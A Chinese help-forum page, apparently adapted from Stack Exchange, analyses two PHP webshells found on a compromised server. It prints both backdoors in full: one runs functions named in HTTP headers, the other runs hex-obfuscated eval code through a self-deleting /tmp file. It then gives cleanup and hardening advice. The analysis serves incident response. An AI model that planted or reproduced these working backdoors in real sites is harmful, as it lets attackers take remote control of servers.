服务器可疑PHP文件求助:含getallheaders的恶意代码解读
分析服务器中被植入的可疑PHP代码
这两段都是典型的PHP网页后门(webshell),黑客用来远程控制你的服务器,下面分别拆解:
第一段代码分析
<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['Large-Allocation'])) { $dbx_convert = $_HEADERS['Large-Allocation']('', $_HEADERS['Sec-Websocket-Accept']($_HEADERS['X-Dns-Prefetch-Control'])); $dbx_convert(); }
- 这段完全依赖HTTP请求头执行恶意逻辑:
getallheaders()获取所有HTTP请求头并存储- 检查请求是否携带
Large-Allocation自定义头——这个头的值会被当作可调用函数使用(比如黑客可将其设为create_function或eval) - 后续的
$_HEADERS['Sec-Websocket-Accept']($_HEADERS['X-Dns-Prefetch-Control'])是函数参数,同样由黑客通过HTTP头构造,本质是让黑客能传入任意代码,最终通过$dbx_convert()执行。
第二段代码分析
<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['If-Unmodified-Since'])) { $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]> $f = '/tmp/.'.time(); file_put_contents($f, $c); include($f); unlink($f); }
- 这段用十六进制转义字符隐藏恶意代码,将
$c解码后实际内容为:<?php @eval($_HEADERS["Clear-Site-Data"]);@eval($_REQUEST["Clear-Site-Data"]); - 执行流程:
- 检查请求是否携带
If-Unmodified-Since头,用来触发后门逻辑 - 把解码后的恶意代码写入
/tmp/.{时间戳}临时文件(文件名带点是为了隐蔽) - 通过
include($f)执行代码——黑客可通过Clear-Site-Data请求头或POST/GET参数传入任意PHP代码执行 - 执行完成立刻用
unlink($f)删除临时文件,这就是你在/tmp中找不到对应文件的原因。
- 检查请求是否携带
后续处理建议
- 立即删除这两个可疑PHP文件,同时全盘扫描服务器,查找其他可能被植入的webshell(比如文件名异常的.php文件、被篡改的正常PHP文件)
- 排查服务器漏洞:检查PHP版本是否存在已知漏洞、服务器登录密码是否过于简单、是否有未授权访问的后台/接口、是否安装了恶意插件或脚本
- 加固PHP配置:在
php.ini中禁用eval、create_function、exec等危险函数,限制/tmp目录的写入权限,开启open_basedir限制PHP文件访问范围 - 检查服务器访问日志,定位异常请求的IP地址并封禁
内容的提问来源于stack exchange,提问作者Manisha
相关产品推荐
相关产品推荐

